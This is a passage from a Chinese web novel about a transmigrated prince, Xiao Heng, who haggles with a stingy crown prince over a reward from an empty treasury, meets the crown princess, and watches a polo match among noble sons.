萧欣立即抬头说道:“是吧,太医都说了,我要多休息,我怎么可能会对太子哥哥你说谎呢。”
说着小嘴一嘟:“母亲也真是的,太医都说了要让我多休息,还非得吩咐人将我送往文贤殿,烦死了。”
萧恒一听看着眼前的小丫头面色轻笑,怪不得这丫头刚才走路磨磨蹭蹭的感情是不愿上学,搁这磨叽呢。
“哎,”太子闻言看着萧欣无奈叹息一声,对内侍道:“将这丫头迅速送到文贤殿,另外告诉夫子,就说孤说了,好好惩戒一下这丫头。”
“诺,”
内侍急忙应答。
“啊,太子我真有病,我需要休息,”萧欣垮着一张脸,辩解道。
“是孤亲自罚你抄书,事后让孤检查,还是让夫子惩戒你?”
太子板着脸道:“你自己选一个吧。”
“啊~”萧欣小小的脸顿时一垮,生无可恋的哼了一声。
“太子,九哥,萧欣告退,”随后朝二人施了一礼,转身朝文贤殿走去,脚步明显加快了不少。
“哈哈哈……!”萧恒看着萧欣离去的背影笑了出来。
“你小子笑什么?”太子回头面色不解的看向萧恒。
萧恒指了指萧欣道:“皇兄还说你不严厉。”
“这丫头可是面对父皇,都敢撒娇求抱抱的主,可在你面前却如此规矩,你让去文贤殿,乖乖的就去了,父皇的话恐怕都不一定好使。”
太子闻言无奈出声:“父皇对这些丫头一向宠爱,舍不得说重话。”
“既然好人父皇当了,恶人便只能孤来当了,不然任由不管,哪个夫子能压着她们,那时她们还不得无法无天啊。”
萧恒闻言点了点头,这倒是实话,不同对皇子的严厉,梁帝对于皇女向来都是和颜悦色的鲜有在皇女面前动怒的时候。
故而宫中皇女对于梁帝反而都不怎么害怕,反倒是一众皇子见到梁帝,大多都是耗子见到猫战战兢兢的。
这么多皇子里面,也就太子在面对梁帝的时候会面色如常。
二人继续朝东宫走去,太子突然想到了什么。
朝萧恒道:“对了你既然来了,一会你自己去东宫库房里,挑选一样东西吧,就当你上次在野狼谷救孤一事,父皇对你的赏赐了。”
“一件?”萧恒一听表情一愣。
“对一件,”太子表情认真的点头道,同时对自己身边的一名内侍道:“一会齐王挑选东西时,你在一旁跟着,只准他挑选一样,若是多了务必拦下。”
看着一脸认真的太子,萧恒眼角止不住抽搐了一下。
“皇兄你是认真的?”
“臣弟若是没有记错,父皇赏赐臣弟的应当是纹银五千两吧?”
这正是梁帝的旨意,至于萧恒讨要的西域胡姬就不要想了,梁帝会将这些胡姬赏赐给重臣,但绝对不会赏赐给皇子。
对于萧恒一语道破真实的赏赐,还准确的说出了数目,太子表情丝毫不变,一脸认真道:“你猜错了。”
“就一件,你自己去东宫库房里面去挑。”
“不是好歹给点啊,”萧恒哭丧着脸:“大不了你占大头,我占小头还不行吗,怎么还带一个大子都不给的,全给吃了啊。”
太子看了萧恒一眼:“你当我想啊,”这里太子没有再自称孤了。
太子无奈出声:“赏赐你的银两,父皇就派人传了一道口谕给我,一两纹银没给,父皇不给我拿啥给你?”
“让你去东宫库房挑选一样,已经是我自掏腰包了。”
萧恒嘴角抽搐了一下,不甘的说道:“目前户部尚书一直空缺,皇兄你不是在监管户部吗?”
“区区五千两纹银,你从户部划拉啊。”
“到时五千两白银,皇兄你占大头,我喝点汤如何?”
“户部?”太子表情冷哼一声:“户部尚书一职为何空缺,又迟迟无人敢顶上去,让父皇派孤先暂管户部是为何,你会不知道》”
萧恒牙痛依旧不死心:“原户部尚书周成光可是巨贪啊,其青州周家也是周家大族。”
“另外牵涉的几个家族,家底也都不弱,这么多全给抄家了。”
“都没能回点血,充盈一些国库?”
原户部尚书周成光因涉嫌重大贪污一案,在半年前被梁帝下旨缉拿打入昭狱。
据萧恒所知此案前前后后牵涉官员近百,各方人员数千,数家勋贵牵连进去。
由太子督办此案,太子野狼谷遇刺,便是因为周成光乃是青州周家家主,与青州各方势力牵连甚广,太子这才前往青州查案。
随后获得证据之后秘密返京,被原身找到机会于野狼谷进行刺杀。
“还回血呢,你想的是真美,”太子面露一丝疲惫。
“去年北漠诸部略次挑衅我大梁边疆,父皇震怒不顾群臣劝说,执意下旨征调大军八万征讨北漠。”
“这一打就是小半年,虽给北漠诸部造成了不小的震慑,但半年时间的人吃马嚼,还有各种伤残抚恤啥的,因为国库空虚一时拿不出钱来,可都是欠着的。”
“另外还有其他用钱的地方。”
“这半年来虽说陆陆续续因此案抄了几个大族。”
“但莫说其他地方了,就单是征讨北漠一事上,银两都还没有抹平,至今还差四五十万两纹银的空缺,需要从各方找补。”
“希望这次影刃司从青州回来,能带来点好消息吧,”太子最后无奈道。
第33章:让人落泪的东宫库房
太子于青州秘密返京途中被刺杀,别管是谁做的。
反正就属青州周家嫌疑最多,梁帝在得知太子遇刺的第一时间,就派出了影刃司火速赶赴青州,控制了整个周家。
以往周家家主周成光东窗事发,被梁帝下旨缉拿时,周家仗着自己是青州大族,人脉广,还能想方设法的拖住朝廷,想办法自保。
为了一些不必要的影响,梁帝也不能上来就铲除掉一个大族,也只能各方寻找机会。
但现在太子遇刺,机会瞬间就来了。
一国储君遇刺,这是何等天大的事,谁还敢站出来保?
若是皇室连储君遇刺了,都还要顾及各方影响忍气吞声,一直不亮刀子,那么这皇室也没必要存在了。
趁早换人吧。
同理,人家储君都被暗杀了,人家控制嫌疑最大的存在,你半边的都还要跳出来横插一脚。
你这是一点脸面不给,是打算将皇家的脸面按在地上的摩擦啊。
萧恒表情不可思议道:“现在咱大梁这么穷的吗?”
“国库里面都能跑马了,一个大子没有?”
“这倒还不至于,常规的储备银两还是有的。”
太子幽幽说道:“只不过这些银两,早在上半年年尾的时候,就已经按照各衙门报上来折子今年的计划做了划分,每一笔银两都有该有的去处。”
“另外朝廷还有硬性规定,国库的银两每年都有一笔银两是不能轻易动用的,只能在地方受天灾严重的时候才能应急启用。”
“所以你别看现在国库里面,还存放了一些银两,但实则一笔多余的都没有。”
“甚至因国库紧张,目前很多地方上报上来要钱的折子,都全部打了回去,或者砍大半下拨。”
“这和没银子有啥区别?”
萧恒砸了砸嘴:“就算一个萝卜一个坑,也好歹将坑给填满啊,你这连坑都填不满了。”
“所以现在你还要你那五千两银子吗?”太子一本正经的看着萧恒问道。
“要,”萧恒闻言当即面色认真的点头道。
“我刚讲了这么多,你没听?”太子眉头一挑。
“听了。”
“那你还要?”
“这不是两码事吗?”萧恒面色疑惑:“国库紧张这并不是我造成的啊,但五千两却是父皇实实在在给我的赏赐。”
“说白了,这可是为了救皇兄你,导致臣弟受伤,父皇用来安抚臣弟受伤的身体的,我理所应当啊,我干嘛不要?”
太子闻言嘴角抽搐了一下,沉默半响之后:“可是真没钱啊。”
“要不?”
太子犹豫片刻:“我给你打张欠条,等国库银两充盈了,我再补给你。”
得,那这辈子是没希望了,萧恒一听顿时翻了一个白眼。
原著中,梁帝是一个好战之人,对于周边异族的挑衅几乎是零容忍,一言不合就是干。
这导致原著中对于大梁国库的描写一直都是捉襟见肘的状态。
每次有啥大事小事太子对梁帝说的最多的一句话就是没钱二字。
没钱二字几乎贯穿了整个太子的储君生涯,直到太子登基,不再如同梁帝那般好战,开始一门心思的搞民生,大梁的赋税这才慢慢的充盈了起来。
萧恒还没有想好该怎么继续讨要自己的银子,就见太子继续说道。
“对了另外再通知你一件事,因目前国库吃紧,各方都需要银两支出,并且今年地方受灾的地方又多,各地税收恐怕不能按时足额的收上来。”
“父皇打算缩减全部皇室成员五成的开支,所以从下个月起,凡皇室成员一切用度全部减半。”
“啥?”萧恒表情顿时一怔,彻底蒙了。
记忆中,原著里面也没有这么一段啊。
感情自己好不容易穿越了一个皇二代,还没来得及享受分毫呢?
就处于财政破产的边缘了?
“不至于吧?”萧恒露出一个比哭还难看的表情。
“这是父皇的意思,你也知道父皇一向节省,向来很是反对奢华,早就对后宫每年巨额的各项支出不满,便正好趁此机会缩减额度。”
太子表情平静:“父皇此举名义上是为了国事,所以想必后宫的诸位也不好怎么闹情绪了,就算不满也只能忍着。”
萧恒一听顿时明白过来,得,感情自己等人就是纯陪跑呗。
压根就是后宫每年的各项开支太大,惹得梁帝心生不满,想要找个借口缩减开支。
但又担心只缩减后宫一处,会惹得那群莺莺燕燕不满闹情绪。
索性便连皇子皇女的额度也给全砍了,全部一视同仁。
你看国家确实困难,朕连皇子的额度都给砍了一半,可没有针对谁的意思,这下你没理由闹了吧。
可别小看了后宫这群嫔妃闹事的能力,凡是敢在梁帝面前闹情绪的存在,除了个别是寒门选秀上来的。
大部分都是各大士族的嫡女,背后势力都不容小视,若处理不好真让其闹腾起来,也够梁帝受的。
所以就算梁帝想要缩减这群人的开支,也得寻一个合适的理由。
“得,明白了,”萧恒无奈点头。
跟着太子去了一趟东宫,五千两纹银是拿不到手了,但太子答应的可以去东宫库房挑选一样物件,是必须拿到手的。
能被东宫收藏进库房,想必也不是啥普通货色。
结果等萧恒跟着一名东宫的内侍进入东宫库房后,萧恒这才发现自己还是天真了。
库房修得倒是挺壮观,但进入其中,萧恒放眼一观。
里面都是一些什么货色?
托原身的福,现在的萧恒对各种古玩字画的真假,还是有些眼力见的。
萧恒一眼望去,摆放在里面的东西不但少,关键还都不值钱。
哪怕是前朝的瓷器字画都没有几幅,有也是低端货色,至于其他奇珍异宝就更加看不见了。
“你确定你带对地方了?”萧恒视线扫了一眼屋内的摆设,扭头看向身后的东宫内侍。
“回齐王殿下,此处正是东宫库房,平日里东宫的物件都是放在这里的。”
内侍低着头回答道。
“少扯犊子,”萧恒不满出声:“你家太子爷吩咐的是东宫宝库,放宝贝的地方,不是东宫堆放杂物的地方。”
“赶紧带本王去该去的地方,不然本王饶你不得。”
内侍身躯一颤,急忙回答道:“回殿下,东宫凡是值钱的存在,都是存入此处的,有太子爷的吩咐,就算给奴婢一万个胆子,奴婢也不敢不尽心啊。”
第34章:太子妃
“太子爷你这过分了啊,”萧恒手中抱着一个瓷瓶,怒气冲冲地来到了太子面前。
萧恒指了指手中抱着的瓷瓶道:“偌大一个库房,全是这些寒酸玩意,顶了天了值个二百两。”
“你告诉我,这是你东宫的藏品?”
“太子爷现在我严重怀疑,你将值钱的全部收了起来,故意摆放了一些这些不值钱的玩意搁这逗我呢。”
萧恒表情不善,这是拿自己当哈儿整啊。
面对萧恒的质问,太子手中握着一本折子,随意瞟了萧恒一眼,不满开口道:“你手中这瓷器可是产自前朝,价值二百多两纹银呢,怎么就成不值钱的破烂玩意了。”
“你若不要便还我,我还不稀罕给呢,”说着放下手中折子,就伸手要来拿萧恒手中的瓷瓶。
“不是,太子爷咱能要点脸不?”萧恒身子往后一退,躲开了太子伸出来的手。
太子很自然地收回手,喝了一口茶:“脸是个什么玩意,值几个大子。”
“你看我这脸值钱不,你要卖你,我还不要多,见银子就卖。”
“一文两文不嫌少,一两二两不嫌多。”
此刻太子整个就跟一个市井商贩似的,丝毫没有一点太子的风度。
看着太子这个样,萧恒彻底被打败了。
幽幽说道:“这玩意也就民间普通百姓家算是个值钱的物件,你这可是东宫啊,至于这么寒酸吗?”
“你前几天送到我府上的药材,我看了有不少都比这值钱,”萧恒不忘吐槽道。
“哎,你不说,我都忘了,”太子眼前一亮:“你现在伤势也好了,那些药材应该也用不着了,应该还剩下不少吧,一会我派个人去取回来,可值不少银子呢。”
萧恒瞪大了双眼,不可置信的看着太子:“你……你真不要脸了,送出去的东西,还带往回要的?”
“那些药材啥时候送你了,我只不过是命人暂时送到你府上应急使用,现在你既然已经无事了,我派人去取回来有何不可?”
太子看着萧恒说的理直气壮。
萧恒嘴角猛地抽搐了一下,原著中对于太子抠门的性格有所描写,但萧恒万万没想到能抠到这种程度啊。
“你们这是什么表情,大眼瞪小眼的搁这斗鸡呢?”忽然一道带着笑意的声音传入萧恒耳中。
萧恒顺声望去,是一位极为美貌的宫装女子。
“嫂子,”萧恒见到来人,立即笑容满面的喊了一声。
对于这一声嫂子,太子妃表情一怔。
太子妃从小便与太子定了亲事。
而长公主又与魏国公府的长子苏英博定了亲事。
为了稳定皇室与魏国公府的关系,梁帝与魏国公之间自然不必多说。
皇后也会时不时的召魏国公的夫人张氏进宫说说话,太子妃自然也会跟着母亲张氏进宫。
故而太子妃与长公主从小便是闺中密友,无话不谈的那种。
但因原身对于太子的嫉妒,所以对于这位内定的太子妃人选,自懂事起便没啥好感。
几乎不怎么说话,自太子妃嫁入宫中之后,萧恒偶尔见到,也是按规矩行礼喊太子妃。
从未喊过嫂子二字。
太子妃表情微微一怔,迅速恢复正常,随即继续笑道:“齐王你倒是有一段时间没来东宫了。”
萧恒轻笑:“我昨日还来了一趟呢,不过看来皇兄未曾与嫂子说一声,这才不知晓。”
太子妃立即不满的看向太子:“齐王昨日来此,你怎么也不派人知会臣妾一声,臣妾好歹出来与齐王打声招呼见个礼才是,不然岂不是显得妾身失礼。”
“嫂子这话可就是折煞我了,”萧恒连忙摇头道:“于公您乃太子妃,于私你乃皇兄正妃,我需要称呼你嫂子,并且嫂子又从小便与皇姐关系极好,也算我的半个姐姐。”
“怎么论,昨日没有去给嫂子您请安,都是萧恒失礼了,怎么能说是嫂子失礼。”
太子妃眼底闪过一丝诧异,笑道:“齐王严重了,一家人哪里需要这么客气。”
“嫂子说的对,都是一家人,”萧恒顺杆往下爬:“嫂子也莫要一口一个齐王了,听着怪生分的,嫂子直接叫我名字便可,或者与皇兄一样叫我老九就行,显得亲切。”
“当然若是嫂子愿意与我皇姐一般,叫我小弟就更好了。”
其实长公主叫萧恒多数都是臭小子,混小子居多,只有心情极好的时候才会叫萧恒小弟。
太子妃笑了笑:“行,那便叫你小弟。”
“好嘞,”萧恒如同一个傻弟弟一般咧嘴笑道。
太子在一旁看着小嘴跟抹了蜜似的萧恒,眼中满是震惊之色。
太子妃继续道:“小弟应该还没有用早膳吧,正好与我们一同。”
“既然嫂子相邀,那弟弟我可就恭敬不如从命了。”
萧恒丝毫没有推脱的意思。
有太子妃在场,萧恒没再继续与太子争论赏钱的事,只是说了一些闲谈趣事。
全程萧恒的一张嘴如同抹了蜜一般,逗得太子妃乐个不停,招惹了太子不少幽怨的眼神,但从头到尾萧恒都仿佛没有看到一般。
……
“齐王这是什么情况?”早膳过后萧恒起身告辞离去,太子妃脸上的笑意收敛,看着萧恒逐渐远去的背影,对太子询问道。
“不清楚,但很不正常,跟鬼上身似的,一点不像他,”太子砸吧了一下嘴幽幽说道。
太子妃白了太子一眼:“你这话像是一国储君能说出来的?”
“哎呀,这储君当得一天天的累得慌,还不兴偶尔做做自己了?”太子表情不满。
“好好好,知道你辛苦,整个大梁就你一人最幸苦,你比父皇都幸苦,”太子妃损道。
太子却丝毫没有生气的样子,一脸认真道:“你还真别说,我现在一天的工作量还真比父皇还要多,瞧瞧都瘦了。”
“瘦了?”太子妃抬眼瞅了太子爷那近日越发圆润的脸庞,又看了一眼桌上空盘的两盘肉食道:“你说这话,你就不脸红?”
太子脸色丝毫没有尴尬的神色,笑呵呵道:“工作这么累,吃点好的犒劳犒劳一下自己也是理所应当嘛。”
“就你道理多,”太子妃无奈,话题再次回到了正题上:“齐王从那日于野狼谷救了你之后,整个人便如同换了一个人似的。”
“臣妾总感觉这一切都很不真实,太子你说齐王会不会在憋什么大招,打算阴你呢?”
太子闻言脸上笑意收敛,沉默片刻之后:“我也时刻在提防,但从老九近几日的情况来看,感觉不像,但又感觉异常诡异。”
“并且老九前夜还破天荒的去了一趟教坊司,在一花魁的房中,呆了一两个时辰才离开。”
“总之老九这几日的行为举止奇怪的很。”
第35章:球场
“齐王去了教坊司?”太子妃表情一惊:“他就不怕被其他人知晓,参奏他一本。”
太子闻言摆了摆手:“这小子并未做出什么出格的事情出来,只是在那花魁的房间中呆了片刻便走了,此事就算父皇知道了,也是顶多训斥两句便算了事。”
“不过让我想不通的是,与老九的性格,按理说应当不会做出这等事情才对。”
“毕竟此类事件,对于普通人无关紧要,但在皇室面前,去勾栏之地终归有损皇室颜面,若是父皇知晓始终会不喜,老九去那等地方图啥?”
“这倒也是,”太子妃点了点头,随即开口道:“但话又说回来了,按齐王以往的性格,理因也不会去野狼谷救你,最后还不是去了,还因此受了不少的伤。”
“若非齐王吉人自有天相,此番怕是会出事。”
“嗯,”太子闻言轻轻颔首:“这倒是,此番若非老九求援极是,我怕真的危也。”
太子妃闻言轻笑:“既然你知道,那你还不给齐王一件好一点的物件,至少价值个千两啊。”
“就一前朝民间的普通瓷器,臣妾看着都感觉寒酸。”
“哎,穷啊,”一听此话,太子面色顿时一垮:“国库早已捉襟见肘,父皇那边花银子却依旧如同流水般的往外出。”
“若非这东宫没人敢买,我都快急的将这东宫给出售了,现在偌大的东宫就那么一点家当了。”
“老九又刚宫外开府不久,出宫时按惯例父皇便赏赐了不少金银财宝,母后那边也给了不少。”
“另外皇姐从小就疼老九,自然也是少不了的。”
“再加上开府时百官祝贺,也送了不少,所以老九现在压根就不缺银子。”
“关键老九也花不了啥银子,可不像我整个就一苦哈哈,父皇时不时的就要伸手问我要银子,好像我能凭空变出银子来似的。”
“总共就这么一点家当,可不得捂紧一点。”
太子疯狂吐槽了一阵后,理所当然道。
……
原身常年练武底子极好,即便昨夜几乎是一夜未睡,此刻回到府中的萧恒也没感觉到有啥困意。
不困,又没手机玩,读书就更加不可能了。
百般无聊的萧恒忽然想到了那夜在教坊司遇到的那几位二代,好像说过今日他们有一场马球比赛。
当即眼前一亮,对三福问道:“那日在教坊司,崔浩说的马球比赛是不是今日?”
三福点头说道:“回殿下的话,就是今日。”
萧恒顿时来了兴趣,吩咐道:“备马,去球场。”
大梁马球一事极为盛行,故而在京都城外修建了数个专业的球场。
“诺,”三福立即安萧恒的吩咐安排了下去。
一刻钟后,萧恒带领数十名护卫骑乘快马,朝北门出了城。
出了北门约莫走了三里地左右。
萧恒还在老远,便听到前方传来了阵阵吆喝声以及呐喊声。
“好球。”
“漂亮。”
“哎呀,什么玩意啊,这样都能被人截停,什么垃圾技术。”
“操怎么又丢球了,到底行不行啊,不行立马换人。”
“好……!”
呐喊与咒骂同在。
萧恒策马靠近球场,入眼望去,球场极为宽阔,不过不同后世的球场布满草皮,眼前的场地早已被马匹踩出了原本泥土该有的样貌。
此刻数十匹快马正在场上肆意奔跑,马匹上的人皆是青年,各自套着红蓝两种原色的马甲,区分成了红蓝两队。
在球场一侧修建了一个高台,此刻高台之上使用布匹临时搭建了一处遮阳棚。
遮阳棚下也是一群公子哥,此刻一个个正兴高采烈地看着两队人马比赛。
有人高兴有人大骂。
整个球场四周还有不少持刃的护卫在巡视四周。
萧恒一行人刚刚靠近,便有两名护卫打扮的中年朝萧恒走了过来。
见萧恒身后的一众护卫皆手持兵刃,对方眼底明显出现了一丝戒备,但一看队伍最前方的乃是一位公子哥,又放松了不少。
不过为了安全起见,两名护卫依旧同时将手按在了腰间刀柄处。
毕竟今日场中的公子哥身份都不凡,可容不得出现半点闪失。
站在距离萧恒还有十步开外的地方,便恭敬开口:“公子瞧着面生,不知贵姓?”
周仓不语直接从怀中掏出一块牌子丢了过去。
对方稳稳接住,定睛一看,瞬间面色大变。
急忙行礼:“参见齐王殿下。”
萧恒并未做声,轻轻颔首,继续策马朝前走去。
护卫身形急忙闪到一边,同手将手中的令牌双手高高举过头顶,还给了周仓。
萧恒一行十来人,一出现便引起了场中其他人的注意。
此刻见上前询问的护卫这般恭敬,除了正在认真比赛的众人,没有注意到萧恒这边,其他人的视线全被吸引了过来。
“咦……我怎么感觉这人这么像齐王呢?”遮阳棚下一胖子眯着眼道。
“什么叫像,这就是啊,”正好崔浩也在人群中,加上刚见过萧恒,很快便认出了萧恒,惊呼一声便急匆匆的朝萧恒这边走了过来。
“真是齐王啊,”其他人闻言也是面色一惊,跟上了脚步。
“参见齐王殿下,”此处皆是勋贵二代,便不存在隐藏身份一说,众人上前直接行礼喊道。
如此一来正在比赛的众人也注意到了这边,纷纷放慢了速度,停了下来。
下马行礼。
萧恒见状朝众人摆了摆手,笑道:“各位继续,本王今日来就是凑个热闹。”
“诺!”
闻声众人这才再次上马,继续比拼。
“殿下小心,”萧恒准备翻身下马,崔浩一个箭步上来,就稳住了萧恒胯下战马的马头,略带献媚的朝萧恒道。
“多谢,”萧恒翻身下马习惯性的道了一声谢。
“殿下言重了,都是小的应该做的,”萧恒笑了笑。
目光环顾一圈,眼前的公子哥不少,一二十人。
但萧恒发现自己一个都不认识。
“殿下此处阳光直晒,还请移步凉亭,”崔浩很自然的打开了手中折扇为萧恒一边扇风一边说道。
周围众人见状,不少人眼底都露出了不满的神色。
同时纷纷附和道:“对对对,此处阳光直晒,还请殿下移步凉亭。”
“那里有凉茶瓜果,正好殿下可以解解渴。”
第36章:大梁爵位制度
萧恒颔首朝前走去,拦在前面的一众公子哥急忙起身退到两旁。
“见过齐王殿下,”众人身后还有数名身着靓丽的年轻女子,都是一些尚未出阁的勋贵女子,今日得知此处有马球比赛。
要么是跟着自家兄长,要么是和有好感之人一同来此玩耍的。
大梁并没有所谓的男尊女卑的说法,对于女子极为友好,尚未出阁的女子也能约上三五好友一同出门游玩。
夜幕降临尚未宵禁之前,男女若有好感,也可以光明正大的相约一同三步在夜市当中,聊聊天说说笑。
当然开放归开放,若是尚未成为夫妻,一些底线问题还是不能突破的。
此刻眼前有五六名女子,年纪都是十来岁小孩到十七八岁的。
有两年纪小的平日里被家人保护的极好,也还不知道男女之事,来此只是单纯的被自家兄长带出来看看热闹。
朝萧恒行了一礼之后,便抬头毫无顾忌的打量着萧恒,脸上全是对陌生人的好奇。
尚未年长一点的女子,则规矩了不少,规矩的行礼,便微微低头不与萧恒直视。
“哈哈,今日本王到此就是凑个热闹,想和诸位一同玩耍一天,诸位不必拘束,放松一点,本王未到之前是怎么样的,就怎么样。”
萧恒看着众人笑道。
“是是是,殿下说的极是,”众人笑着点头应答,但身份差距摆在这,彼此又还不熟。
拘束终归是在所难免的。
“哟,好吃的还挺多,”萧恒走到凉亭下,众人提前带来了不少各种水果,萧恒还看到了两大西瓜。
一旁不远处,还放着不少肉类,旁边站着两下人,手上满是油渍,应当是刚才正在处理肉。
“生活不错吗,”萧恒见状对三福道:“我们有没有带食物来?”
三福开口回应:“今日殿下是临时起意来此处的,故而尚未准备任何食材。”
“哎,失策了,”萧恒拍了拍脑门,看向众人:“今日来的匆忙,没有来得及准备吃食,看来今日只能吃白食了。”
萧恒朝众人笑道:“诸位应该不会建议吧?”
“殿下言重了,殿下今日能来,便也是我等天大的福分,吃食理应我等备足,”崔浩眼珠子一转赶忙说道。
“是的是的,殿下今日能来,便是我等天大的福分,”其他人也跟着附和道。
自萧恒来到此处,众人的气氛明显没有了刚才那般活跃。
咒骂,叫好声统统消失不见了,一群公子哥安静的站在萧恒身后。
面对这等气氛,萧恒回头看了一眼,众人对上萧恒的目光急忙赔笑起来。
无趣,萧恒心中默默说了一句。
倒是场中的十人此刻比拼也旧激烈,催动马匹不断来回进攻防守。
人头大小的马球在众人之间被不断击打,比拼异常激烈。
“这比赛有点意思,是男儿间的游戏。”
“漂亮,”忽然萧恒大喝一声,只见场中一人,一球杆下去,精准的命中了马球,马球顿时高高跃起,穿过数人的阻挡,在空中划出一个漂亮的弧线,飞进了球场一端的球洞。
球洞并不大,有点像蹴鞠的球洞,整体也就是两个马球那么大,故而并没有人守着球洞。
但球场极大,再加上激烈的比赛她人围挡,想要准确命中也实属不已。
“好……!”
后面的公子哥看到这一球,也有人下意识的喊了出来。
不过又立马想到了萧恒,急忙闭声,一脸恐慌的看了萧恒一眼。
生怕惹得萧恒不悦。
“你们这是什么表情,这球击打的不好吗?”
“距离门洞十步开外,一杆进洞,不值得喝彩?”
萧恒扭头问道。
“值得……值得,”众人点头回应。
“那还不吼起来,拿出咱们年轻人的气势,”萧恒笑道:“他们在球场比拼气势如虹,咱们在场下的啦啦队也不能拉垮啊。”
“吼起来,吼……好球……!”
萧恒带头看着球场大吼。
身后众人见状一个个顿时面面相视。
“漂亮好球,**他们,”崔浩虽不知道萧恒口中的啦啦队是何意思,但依旧第一个跟上了节奏,大声吼道。
其他人这才逐渐放开,也跟着喊
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了起来。
现场气氛这才逐渐恢复了一开始的状态。
时间流逝,半刻钟时间很快过去,双方比拼依旧激烈,刚才进球那人又再次进了一球。
“此人叫什么名字,哪家的?”萧恒对此人来了兴趣,开口询问道。
“此人叫杨少元,虞山侯第七子,”崔浩声音立即响了起来。
虞山侯?
萧恒回忆了片刻,对于这个名字并不熟悉,应当只是一普通**递降的侯爵。
大梁各等级的爵位赐封,一般情况下少有**罔替的。
几乎都是**递降制,一人获得了极大的功劳,赐封国公亦或者侯爵之位。
让其**一代亦或者两代,随后便一代降一级爵位。
中途若是一直没有犯错,爵位被顺延下去,也无强人再立新功,爵位便会一直降到最低等级。
县男爵位。
到了这等爵位,爵位便不会再继续往下降了,但也不是一直世世代代保留,而是保留三代。
若是三代以内,都依旧无人能考取功名,也无人能在战场上建功立业,县男的爵位便会被彻底取消,沦为寒门。
而像这等祖上某一位老祖立下了战功,获得爵位,事后后代没能力继续保留爵位的在京都几乎是比比皆是。
就像眼前的虞山侯,萧恒既然没有丝毫记忆,便很明显,这侯爵之位乃是祖辈打下来的。
到这一代,继承之人,没啥过人之处,也没啥能力,只能靠先辈族荫空得一个爵位,身上并没有一官半职在身。
像是看出了萧恒脸上的疑惑,崔浩解释道:“殿下应当对虞山侯没啥印象。”
“虞山侯乃是康定三年赐封的,**两代,第一代虞山侯是杨少元的祖父,但赐封不久,虞山侯便薨了。”
“后上奏朝廷由其长子杨博亭继承,当时杨博亭才六岁,继承侯爵之后,身边尽是一些溜须拍马之人,整日带着杨博亭不学无术,后来便彻底废了,连续多年未曾考取任何功名。”
“如同父辈进入军中他也不敢,便彻底沦为了闲人,淡出了朝廷,故而殿下不知晓也是属正常。”
第37章:男人之间奇奇怪怪的胜负欲
马球比赛,每场分为上下两场,每场时间为两刻钟,中间休息半刻钟,随后比赛继续。
中间可以申请换人,人数不限,但不能超过场上一半的人数。
如何判断输赢也很简单,就是哪一方进球多,就是哪一方赢得比赛。
萧恒到的时候正是比赛的下半场,随着比赛继续,双方都未曾再继续进球。
并且无论人马都显然累得不轻了,奔跑中的马匹不断打的鼻息,喘着粗气,马匹上的一众青年,也是面色涨红胸口上下剧烈起伏。
但愣是没有一人下场要求换人,也没人在试图混日子,都是一手死死握着缰绳,一手握着球杆,双眼死死锁定对方。
获得球权的进攻凶猛,防守的严防死守寸步不让。
萧恒眯了眯眼,饶有兴趣道:“今日这球打的这般激烈,获胜方是什么奖励,这般拼命?”
“奖励?”这里就崔浩见过萧恒一次,算是众人中唯一接触过萧恒的人,故而一直在为萧恒解说,此时听到萧恒的询问,顿时表情一愣。
随即说道:“没有奖励。”
“没有奖励?”萧恒表情一怔,再次问道:“赢了比赛什么都没有,就是纯比赛?”
“对,”崔浩抬手摸了摸鼻子。
得到确定的答案,萧恒看着场中依旧在激烈比拼的赛事,不可思议的笑了笑。
比赛这般激烈,还以为双方共同设定的奖励非常诱人呢,结果就是纯比赛啊。
“若非要说有什么奖励,恐怕就是输的一方日后见到赢得一方,需要绕道走,若是实在绕不开正面相遇,输的一方需要喊赢得一方一声大哥,并说一声我不如你。”
崔浩忽然说道。
“详细说说,具体怎么回事?”萧恒眉头一挑,脸上全是好奇之色。
崔浩无奈道:“此事起因是半月前,魏国公府的苏扬与右相府的吴良俊相遇随后因为一点小事,双方便争执了起来。”
“随后双方便定下了今日这场赛事,输的一方承认自己错了,并日后见到对方主动绕道走,若实在绕不开,就要喊对方大哥,并说自己不如对方。”
怪不得一个个这般拼命呢,原来是一场关乎男人尊严的比拼呀。
萧恒闻言顿时笑了,这般听来,今日这场比赛的初始虽说无聊之至,但有的时候男人之间的较量往往就是这般无聊。
萧恒看了一眼小厮正在处理的各种吃食,随口道:“看你们备了这么多吃食,本王还以为这是一场友谊赛呢,没想到却是这般无聊的由头产生的比赛。”
“这些吃食啊,”崔浩指了指一旁的吃食:“确实都是双方各自准备的,不过却是双方都认为自己不会输,备在这里准备等赢了庆祝食用的。”
“那若是输了呢?”萧恒道:“且不是白准备了,还白白丢了面子?”
“输了就灰溜溜的走了呗,”崔浩一脸**以为常的说道:“不过吃的得留下,也算是赢得一方的一种战利品。”
“这都是惯例了。”
“反正下次再找回场子就行了。”
萧恒闻言表情微微一怔,随即淡然一笑。
看样子这种事在这群公子哥之间,显然已经不是第一次做了,早也是一件**以为常的事情了。
不过转念一想萧恒也就瞬间想通了,也是,眼前这群人,虽都是大梁勋贵之后,京都出了名的二代子弟。
但实际身份,要么不是族中嫡子,要么不是重点培养对象,上面都有各族更加得力的同辈压着。
对于这些非族中重点培养的**人,族中长辈也不会盯那么紧,平日里只要不惹出大事就行了。
久而久之这群无所事事的二代混在一起,自然是需要找些事情来打发一下无聊的时间的。
而正事他们又做不了,也不能做,便只能做这些事了。
“铛……”
随着时间流逝,场外响起了一声铜锣声。
一人扬起了手中一杆蓝色的小旗,大喊道:“下半场比赛结束,双方一比一平,双方休整各自半刻钟,半刻钟后进入加时赛。”
“操,竟然平了,老子可是投了吴少整整一百两银
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子啊,天灵灵地灵灵如来佛祖、玉皇大帝、观音菩萨,哪路神仙听到哪路神仙显灵,可一定要保佑吴少赢得比赛啊。”
“不然这个月,我可就得当和尚了。”
“保佑保佑,苏少一定要赢啊。”
“保佑……”
随着一名类似裁判的青年宣布比赛进入加时赛,身后众多二代,不少人立即作出了一副祷告上天的表情。
耳边传来一怔窸窸窣窣的声音,萧恒扭头看了一眼,作出祷告表情人的还不少。
崔浩见状立即解释道:“场中比赛虽没啥奖励,但场下却开了盘口。”
“不过请殿下放心,输赢都不大,百两银子封顶,输了也就个把月,日子过的清淡一点,赢了也不过是多了一些生活费。”
“你下了多少?”萧恒随口问了一句。
崔浩面露一丝苦笑:“我每月可使用的银两并不多,那日在……咳,便已经花光了我大半银两,所以今日就下了二十两,权当图一乐。”
“殿下!”
